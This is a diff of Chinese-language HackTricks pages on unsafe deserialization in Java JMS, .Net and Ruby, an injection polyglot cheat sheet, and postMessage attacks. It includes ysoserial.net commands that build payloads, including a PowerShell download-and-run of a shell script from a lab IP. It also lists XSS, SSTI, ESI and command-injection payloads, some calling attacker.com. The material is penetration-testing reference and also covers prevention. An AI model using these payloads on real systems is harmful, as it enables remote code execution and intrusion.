- 讲座关于 gadgetinspector：[https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) 和幻灯片：[https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec 论文：[https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- 讲座关于gadgetinspector：[https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8)和幻灯片：[https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec论文：[https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Java 和 .Net JSON 反序列化 **论文：** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**，** 讲座：[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 和幻灯片：[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- 反序列化 CVE：[https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
- Java和.Net JSON反序列化**论文：**[**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**，**讲座：[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c)和幻灯片：[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- 反序列化CVE：[https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDI 注入与 log4Shell
|
||||
## JNDI注入与log4Shell
|
||||
|
||||
查找 **JNDI 注入、如何通过 RMI、CORBA 和 LDAP 滥用它以及如何利用 log4shell**（以及此漏洞的示例）在以下页面：
|
||||
查找什么是**JNDI注入，如何通过RMI、CORBA和LDAP滥用它，以及如何利用log4shell**（以及此漏洞的示例）在以下页面：
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
{{#endref}}
|
||||
|
||||
## JMS - Java 消息服务
|
||||
## JMS - Java消息服务
|
||||
|
||||
> **Java 消息服务** (**JMS**) API 是一个用于在两个或多个客户端之间发送消息的 Java 消息导向中间件 API。它是处理生产者-消费者问题的实现。JMS 是 Java 平台企业版（Java EE）的一部分，由 Sun Microsystems 开发的规范定义，但此后由 Java 社区过程指导。它是一种消息标准，允许基于 Java EE 的应用程序组件创建、发送、接收和读取消息。它允许分布式应用程序的不同组件之间的通信是松耦合、可靠和异步的。（来自 [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)）。
|
||||
> **Java消息服务**（**JMS**）API是一个Java面向消息的中间件API，用于在两个或多个客户端之间发送消息。它是处理生产者-消费者问题的实现。JMS是Java平台企业版（Java EE）的一部分，由Sun Microsystems开发的规范定义，但此后由Java社区过程指导。它是一种消息标准，允许基于Java EE的应用程序组件创建、发送、接收和读取消息。它允许分布式应用程序的不同组件之间的通信是松耦合、可靠和异步的。（来自[维基百科](https://en.wikipedia.org/wiki/Java_Message_Service)）。
|
||||
|
||||
### 产品
|
||||
|
||||
@ -610,27 +610,27 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
### 利用
|
||||
|
||||
所以，基本上有一 **堆服务以危险的方式使用 JMS**。因此，如果您有 **足够的权限** 向这些服务发送消息（通常您需要有效的凭据），您可能能够发送 **恶意对象序列化，这些对象将被消费者/订阅者反序列化**。\
|
||||
这意味着在此利用中，所有 **将使用该消息的客户端将被感染**。
|
||||
所以，基本上有**一堆服务以危险的方式使用JMS**。因此，如果您有**足够的权限**向这些服务发送消息（通常您需要有效的凭据），您可能能够发送**恶意对象序列化，这些对象将被消费者/订阅者反序列化**。\
|
||||
这意味着在此利用中，所有**将使用该消息的客户端将被感染**。
|
||||
|
||||
您应该记住，即使服务存在漏洞（因为它不安全地反序列化用户输入），您仍然需要找到有效的 gadget 来利用该漏洞。
|
||||
您应该记住，即使服务存在漏洞（因为它不安全地反序列化用户输入），您仍然需要找到有效的gadget来利用该漏洞。
|
||||
|
||||
工具 [JMET](https://github.com/matthiaskaiser/jmet) 被创建用于 **连接和攻击这些服务，发送多个使用已知 gadget 的恶意对象序列化**。这些利用将在服务仍然存在漏洞且所使用的任何 gadget 在易受攻击的应用程序中时有效。
|
||||
工具[JMET](https://github.com/matthiaskaiser/jmet)被创建用于**连接和攻击这些服务，发送多个使用已知gadget序列化的恶意对象**。这些利用将在服务仍然存在漏洞且所使用的gadget在易受攻击的应用程序中时有效。
|
||||
|
||||
### 参考文献
|
||||
|
||||
- JMET 讲座：[https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- JMET讲座：[https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- 幻灯片：[https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
|
||||
在 .Net 的上下文中，反序列化利用以类似于 Java 的方式操作，其中利用 gadget 在反序列化对象时运行特定代码。
|
||||
在.Net的上下文中，反序列化利用以类似于Java的方式操作，其中gadget被利用在反序列化对象时运行特定代码。
|
||||
|
||||
### 指纹
|
||||
|
||||
#### 白盒
|
||||
|
||||
应检查源代码中是否存在以下情况：
|
||||
应检查源代码中是否存在以下内容：
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
@ -639,28 +639,28 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
#### 黑盒
|
||||
|
||||
搜索应针对 Base64 编码字符串 **AAEAAAD/////** 或任何可能在服务器端进行反序列化的类似模式，从而控制要反序列化的类型。这可能包括但不限于包含 `TypeObject` 或 `$type` 的 **JSON** 或 **XML** 结构。
|
||||
搜索应针对Base64编码字符串**AAEAAAD/////**或任何可能在服务器端进行反序列化的类似模式，从而控制要反序列化的类型。这可能包括但不限于包含`TypeObject`或`$type`的**JSON**或**XML**结构。
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
在这种情况下，您可以使用工具 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) 来 **创建反序列化利用**。下载 git 仓库后，您应该 **使用 Visual Studio 等编译该工具**。
|
||||
在这种情况下，您可以使用工具[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)来**创建反序列化利用**。下载git存储库后，您应该**使用Visual Studio等编译该工具**。
|
||||
|
||||
如果您想了解 **ysoserial.net 如何创建其利用**，您可以 [**查看此页面，其中解释了 ObjectDataProvider gadget + ExpandedWrapper + Json.Net 格式化程序**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
||||
如果您想了解**ysoserial.net是如何创建其利用的**，您可以[**查看此页面，其中解释了ObjectDataProvider gadget + ExpandedWrapper + Json.Net格式化程序**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
||||
|
||||
**ysoserial.net** 的主要选项包括：**`--gadget`**、**`--formatter`**、**`--output`** 和 **`--plugin`**。
|
||||
**ysoserial.net**的主要选项包括：**`--gadget`**、**`--formatter`**、**`--output`**和**`--plugin`**。
|
||||
|
||||
- **`--gadget`** 用于指示要滥用的 gadget（指示在反序列化期间将被滥用以执行命令的类/函数）。
|
||||
- **`--gadget`**用于指示要滥用的gadget（指示在反序列化期间将被滥用以执行命令的类/函数）。
|
||||
- **`--formatter`**，用于指示序列化利用的方法（您需要知道后端使用哪个库来反序列化有效负载，并使用相同的库进行序列化）
|
||||
- **`--output`** 用于指示您是否希望以 **raw** 或 **base64** 编码的形式获得利用。_请注意，**ysoserial.net** 将使用 **UTF-16LE** 编码（Windows 默认使用的编码）对有效负载进行 **编码**，因此如果您从 Linux 控制台获取原始数据并仅对其进行编码，您可能会遇到一些 **编码兼容性问题**，这将导致利用无法正常工作（在 HTB JSON 框中，有效负载在 UTF-16LE 和 ASCII 中均有效，但这并不意味着它总是有效）。_
|
||||
- **`--plugin`** ysoserial.net 支持插件以制作 **特定框架的利用**，如 ViewState
|
||||
- **`--output`**用于指示您希望以**原始**或**base64**编码的形式获得利用。_请注意，**ysoserial.net**将使用**UTF-16LE**（Windows上默认使用的编码）对有效负载进行**编码，因此如果您从Linux控制台获取原始数据并仅对其进行编码，您可能会遇到一些**编码兼容性问题**，这将导致利用无法正常工作（在HTB JSON框中，有效负载在UTF-16LE和ASCII中均有效，但这并不意味着它总是有效）。_
|
||||
- **`--plugin`**ysoserial.net支持插件以制作**特定框架的利用**，如ViewState
|
||||
|
||||
#### 更多 ysoserial.net 参数
|
||||
#### 更多ysoserial.net参数
|
||||
|
||||
- `--minify` 将提供一个 **更小的有效负载**（如果可能）
|
||||
- `--raf -f Json.Net -c "anything"` 这将指示可以与提供的格式化程序（在这种情况下为 `Json.Net`）一起使用的所有 gadget
|
||||
- `--sf xml` 您可以 **指示一个 gadget**（`-g`），ysoserial.net 将搜索包含 "xml" 的格式化程序（不区分大小写）
|
||||
- `--minify`将提供一个**更小的有效负载**（如果可能）
|
||||
- `--raf -f Json.Net -c "anything"`这将指示可以与提供的格式化程序（在这种情况下为`Json.Net`）一起使用的所有gadget
|
||||
- `--sf xml`您可以**指示一个gadget**（`-g`），ysoserial.net将搜索包含“xml”的格式化程序（不区分大小写）
|
||||
|
||||
**ysoserial 示例** 创建利用：
|
||||
**ysoserial示例**以创建利用：
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
@ -678,9 +678,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** 还有一个 **非常有趣的参数**，可以更好地理解每个漏洞是如何工作的： `--test`\
|
||||
如果您指明此参数，**ysoserial.net** 将 **尝试** 在 **本地利用漏洞，** 这样您可以测试您的有效载荷是否能正常工作。\
|
||||
这个参数很有帮助，因为如果您查看代码，您会发现类似以下的代码块（来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)）：
|
||||
**ysoserial.net** 还有一个 **非常有趣的参数**，可以帮助更好地理解每个漏洞是如何工作的： `--test`\
|
||||
如果你指定这个参数，**ysoserial.net** 将会 **在本地尝试** 这个 **漏洞，** 这样你可以测试你的有效载荷是否能正常工作。\
|
||||
这个参数很有帮助，因为如果你查看代码，你会发现像以下这样的代码块（来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)）：
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
@ -705,12 +705,12 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
return obj;
|
||||
}
|
||||
```
|
||||
在**之前的代码易受创建的漏洞影响**。因此，如果您在 .Net 应用程序中发现类似的内容，这意味着该应用程序可能也存在漏洞。\
|
||||
因此，**`--test`** 参数使我们能够了解**哪些代码块易受反序列化漏洞的影响**，该漏洞**ysoserial.net**可以创建。
|
||||
在**之前的代码中存在可被利用的漏洞**。因此，如果你在 .Net 应用程序中发现类似的内容，这意味着该应用程序可能也存在漏洞。\
|
||||
因此，**`--test`** 参数使我们能够理解**哪些代码块易受反序列化漏洞的影响**，该漏洞**ysoserial.net**可以创建。
|
||||
|
||||
### ViewState
|
||||
|
||||
查看[这篇关于**如何尝试利用 .Net 的 \_\_ViewState 参数**](exploiting-__viewstate-parameter.md)来**执行任意代码。** 如果您**已经知道受害者机器使用的秘密**，[**阅读这篇文章以了解如何执行代码**](exploiting-__viewstate-knowing-the-secret.md)**。**
|
||||
查看[这篇关于**如何尝试利用 .Net 的 \_\_ViewState 参数**](exploiting-__viewstate-parameter.md)来**执行任意代码。** 如果你**已经知道受害者机器使用的秘密**，[**阅读这篇文章以了解如何执行代码**](exploiting-__viewstate-knowing-the-secret.md)**。**
|
||||
|
||||
### 预防
|
||||
|
||||
@ -719,10 +719,10 @@ return obj;
|
||||
- **避免允许数据流定义其对象类型。** 尽可能使用 `DataContractSerializer` 或 `XmlSerializer`。
|
||||
- **对于 `JSON.Net`，将 `TypeNameHandling` 设置为 `None`：** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
- **避免使用带有 `JavaScriptTypeResolver` 的 `JavaScriptSerializer`。**
|
||||
- **限制可以被反序列化的类型，** 理解 .Net 类型的固有风险，例如 `System.IO.FileInfo`，它可以修改服务器文件的属性，可能导致拒绝服务攻击。
|
||||
- **限制可以被反序列化的类型，** 理解 .Net 类型固有的风险，例如 `System.IO.FileInfo`，它可以修改服务器文件的属性，可能导致拒绝服务攻击。
|
||||
- **对具有风险属性的类型保持谨慎，** 如 `System.ComponentModel.DataAnnotations.ValidationException` 及其 `Value` 属性，可能会被利用。
|
||||
- **安全地控制类型实例化，** 以防止攻击者影响反序列化过程，使得即使是 `DataContractSerializer` 或 `XmlSerializer` 也变得脆弱。
|
||||
- **使用自定义 `SerializationBinder` 为 `BinaryFormatter` 和 `JSON.Net` 实施白名单控制。**
|
||||
- **安全地控制类型实例化，** 防止攻击者影响反序列化过程，使得即使是 `DataContractSerializer` 或 `XmlSerializer` 也变得脆弱。
|
||||
- **使用自定义 `SerializationBinder` 实现白名单控制**，适用于 `BinaryFormatter` 和 `JSON.Net`。
|
||||
- **保持对已知不安全反序列化工具的了解，** 确保反序列化器不实例化此类类型。
|
||||
- **将潜在风险代码与具有互联网访问权限的代码隔离，** 以避免将已知工具暴露给不可信的数据源，例如 WPF 应用程序中的 `System.Windows.Data.ObjectDataProvider`。
|
||||
|
||||
@ -735,9 +735,9 @@ return obj;
|
||||
|
||||
## **Ruby**
|
||||
|
||||
在 Ruby 中，序列化通过**marshal**库中的两种方法实现。第一种方法称为**dump**，用于将对象转换为字节流。这个过程称为序列化。相反，第二种方法**load**用于将字节流还原为对象，这个过程称为反序列化。
|
||||
在 Ruby 中，序列化通过 **marshal** 库中的两个方法来实现。第一个方法称为 **dump**，用于将对象转换为字节流。这个过程称为序列化。相反，第二个方法 **load** 用于将字节流还原为对象，这个过程称为反序列化。
|
||||
|
||||
为了保护序列化对象，**Ruby 使用 HMAC（基于哈希的消息认证码）**，确保数据的完整性和真实性。用于此目的的密钥存储在几个可能的位置之一：
|
||||
为了保护序列化对象，**Ruby 使用 HMAC（基于哈希的消息认证码）**，确保数据的完整性和真实性。用于此目的的密钥存储在多个可能的位置之一：
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
@ -819,9 +819,9 @@ puts Base64.encode64(payload)
|
||||
|
||||
### Ruby .send() 方法
|
||||
|
||||
正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的，如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法，该方法允许 **调用对象的任何其他方法**，并传递任何参数。
|
||||
正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的，如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法，该方法允许 **调用对象的任何其他方法**，并使用任何参数。
|
||||
|
||||
例如，调用 eval 然后将 ruby 代码作为第二个参数将允许执行任意代码:
|
||||
例如，调用 eval 并将 ruby 代码作为第二个参数将允许执行任意代码:
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
@ -854,7 +854,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
|
||||
### Ruby _json 污染
|
||||
|
||||
当发送一个包含一些不可哈希值（如数组）的主体时，它们将被添加到一个名为 `_json` 的新键中。然而，攻击者也可以在主体中设置一个名为 `_json` 的值，包含他希望的任意值。然后，如果后端例如检查一个参数的真实性，但又使用 `_json` 参数执行某些操作，则可能会发生授权绕过。
|
||||
当发送一些不可哈希的值（如数组）时，它们将被添加到一个名为 `_json` 的新键中。然而，攻击者也可以在请求体中设置一个名为 `_json` 的值，包含他希望的任意值。然后，如果后端例如检查一个参数的真实性，但又使用 `_json` 参数执行某些操作，则可能会发生授权绕过。
|
||||
|
||||
在 [Ruby _json 污染页面](ruby-_json-pollution.md) 中查看更多信息。
|
||||
|
||||
@ -864,7 +864,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
|
||||
还有其他 Ruby 库可以用来序列化对象，因此可以被滥用以在不安全的反序列化期间获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库中的方法（基本上是滥用以获得 RCE 的函数）：
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>库</strong></td><td><strong>输入数据</strong></td><td><strong>类内部启动方法</strong></td></tr><tr><td>Marshal (Ruby)</td><td>二进制</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>（类需要作为键放入哈希（映射）中）</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>（类需要作为键放入哈希（映射）中）</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>（类需要作为键放入哈希（映射）中）<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>（[查看关于 json_create 的注释](#table-vulnerable-sinks)）</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>库</strong></td><td><strong>输入数据</strong></td><td><strong>类内部启动方法</strong></td></tr><tr><td>Marshal (Ruby)</td><td>二进制</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>（类需要作为键放入哈希（映射）中）</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>（类需要作为键放入哈希（映射）中）</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>（类需要作为键放入哈希（映射）中）<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>（[查看关于 json_create 的说明](#table-vulnerable-sinks)）</td></tr></tbody></table>
|
||||
|
||||
基本示例：
|
||||
```ruby
|
||||
@ -888,7 +888,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
在尝试滥用 Oj 的情况下，可以找到一个小工具类，它在其 `hash` 函数内部会调用 `to_s`，而 `to_s` 会调用 spec，进而调用 fetch_path，这使得它能够获取一个随机 URL，从而很好地检测这些未清理的反序列化漏洞。
|
||||
在尝试滥用 Oj 的情况下，可以找到一个小工具类，它在其 `hash` 函数中会调用 `to_s`，而 `to_s` 会调用 spec，接着调用 fetch_path，这使得它能够获取一个随机 URL，从而很好地检测这些未清理的反序列化漏洞。
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -922,6 +922,6 @@ Oj.load(json_payload)
|
||||
}
|
||||
}
|
||||
```
|
||||
查看[**原始帖子**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)以获取更多详细信息。
|
||||
查看更多细节请访问[**原始帖子**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
||||
";alert(0);//
|
||||
```
|
||||
## Open Redirect 上传 SVG 文件
|
||||
```markup
|
||||
```html
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<svg
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
这些 PoCs 和 Polygloths 的目标是为测试人员提供一个快速的 **摘要**，以便他可以利用 **如果他的输入在响应中以某种方式被反射** 的漏洞。
|
||||
这些 PoCs 和 Polygloths 的目标是为测试人员提供一个快速的 **摘要**，以便他可以利用的漏洞，如果他的 **输入在响应中以某种方式被反射**。
|
||||
|
||||
> [!WARNING]
|
||||
> 这个 **备忘单并没有提供每个漏洞的全面测试列表**，只是一些基本的测试。如果您在寻找更全面的测试，请访问每个提议的漏洞。
|
||||
> 这个 **备忘单并没有提供每个漏洞的全面测试列表**，只是一些基本的测试。如果你在寻找更全面的测试，请访问每个提议的漏洞。
|
||||
|
||||
> [!CAUTION]
|
||||
> 您 **不会找到依赖 Content-Type 的注入，如 XXE**，因为通常如果您发现发送 xml 数据的请求，您会自己尝试这些。您 **也不会在这里找到数据库注入**，因为即使某些内容可能被反射，它也在很大程度上依赖于后端数据库技术和结构。
|
||||
> 你 **不会找到依赖于 Content-Type 的注入，如 XXE**，因为通常如果你发现发送 xml 数据的请求，你会自己尝试这些。你 **也不会在这里找到数据库注入**，因为即使某些内容可能被反射，它也在很大程度上依赖于后端数据库技术和结构。
|
||||
|
||||
## Polygloths list
|
||||
```python
|
||||
@ -57,7 +57,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||
{{7*7}}
|
||||
[7*7]
|
||||
```
|
||||
### 多语言程序员
|
||||
### Polygloths
|
||||
```bash
|
||||
{{7*7}}[7*7]
|
||||
```
|
||||
@ -91,7 +91,7 @@ $(ls)
|
||||
## 悬挂标记
|
||||
|
||||
### 基本测试
|
||||
```markup
|
||||
```html
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
## [文件包含/路径遍历](../file-inclusion/index.html)
|
||||
@ -130,14 +130,14 @@ javascript:alert(1)
|
||||
## [服务器端包含/边缘端包含](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
|
||||
### 基本测试
|
||||
```markup
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL" -->
|
||||
<!--#exec cmd="ls" -->
|
||||
<esi:include src=http://attacker.com/>
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
### Polygloths
|
||||
```markup
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
|
||||
@ -147,7 +147,7 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
|
||||
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
|
||||
|
||||
### 基本测试
|
||||
```markup
|
||||
```html
|
||||
${{<%[%'"}}%\
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
@ -162,24 +162,24 @@ ${{7*7}}
|
||||
## [XSLT 服务器端注入](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
|
||||
### 基本测试
|
||||
```markup
|
||||
```html
|
||||
<xsl:value-of select="system-property('xsl:version')" />
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
### 多语言程序员
|
||||
```markup
|
||||
### Polygloths
|
||||
```html
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
## XSS
|
||||
|
||||
### 基本测试
|
||||
```markup
|
||||
```html
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
```
|
||||
### Polygloths
|
||||
```markup
|
||||
```html
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||
|
||||
@ -39,8 +39,8 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||||
### 攻击 iframe 和 **targetOrigin** 中的通配符
|
||||
|
||||
正如在 [**这份报告**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) 中所解释的，如果你发现一个可以被 **iframed** 的页面（没有 `X-Frame-Header` 保护）并且该页面通过 **postMessage** 使用 **通配符** (\*) 发送 **敏感** 消息，你可以 **修改** **iframe** 的 **来源** 并将 **敏感** 消息 **泄露** 到一个由你控制的域。\
|
||||
请注意，如果页面可以被 iframed，但 **targetOrigin** 被 **设置为一个 URL 而不是通配符**，这个 **技巧将不起作用**。
|
||||
```markup
|
||||
请注意，如果页面可以被 iframed，但 **targetOrigin** **设置为一个 URL 而不是通配符**，这个 **技巧将不起作用**。
|
||||
```html
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
<script>
|
||||
@ -56,7 +56,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||||
```
|
||||
## addEventListener 利用
|
||||
|
||||
**`addEventListener`** 是 JS 用来声明 **期望 `postMessages`** 的函数。\
|
||||
**`addEventListener`** 是 JS 用于声明 **期望 `postMessages`** 的函数。\
|
||||
将使用类似以下的代码：
|
||||
```javascript
|
||||
window.addEventListener(
|
||||
@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return
|
||||
false
|
||||
)
|
||||
```
|
||||
注意在这种情况下，代码的**第一件事**是**检查来源**。这非常**重要**，特别是当页面要对接收到的信息进行**任何敏感**操作（例如更改密码）时。**如果不检查来源，攻击者可以让受害者向这些端点发送任意数据**并更改受害者的密码（在这个例子中）。
|
||||
注意在这种情况下，代码的**第一件事**是**检查来源**。这非常**重要**，特别是当页面要对接收到的信息进行**任何敏感**操作（如更改密码）时。**如果不检查来源，攻击者可以让受害者向这些端点发送任意数据**并更改受害者的密码（在这个例子中）。
|
||||
|
||||
### 枚举
|
||||
|
||||
@ -102,7 +102,7 @@ false
|
||||
```
|
||||
|
||||
- **`match()`** 函数与 `search()` 类似，处理正则表达式。如果正则表达式结构不当，可能容易被绕过。
|
||||
- **`escapeHtml`** 函数旨在通过转义字符来清理输入。然而，它并不创建一个新的转义对象，而是覆盖现有对象的属性。这种行为可以被利用。特别是，如果一个对象可以被操控，使其受控属性不承认 `hasOwnProperty`，则 `escapeHtml` 将无法按预期执行。以下示例演示了这一点：
|
||||
- **`escapeHtml`** 函数旨在通过转义字符来清理输入。然而，它并不创建一个新的转义对象，而是覆盖现有对象的属性。这种行为可能被利用。特别是，如果一个对象可以被操控，使其受控属性不承认 `hasOwnProperty`，则 `escapeHtml` 将无法按预期执行。以下示例演示了这一点：
|
||||
|
||||
- 预期失败：
|
||||
|
||||
